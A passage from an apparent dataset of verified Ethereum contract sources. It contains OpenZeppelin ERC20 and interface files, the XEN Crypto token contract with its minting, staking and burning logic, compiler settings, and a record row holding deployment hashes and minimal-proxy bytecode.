"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
d3246543ce0a3d4574e274df4b2a93a431e244b1
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
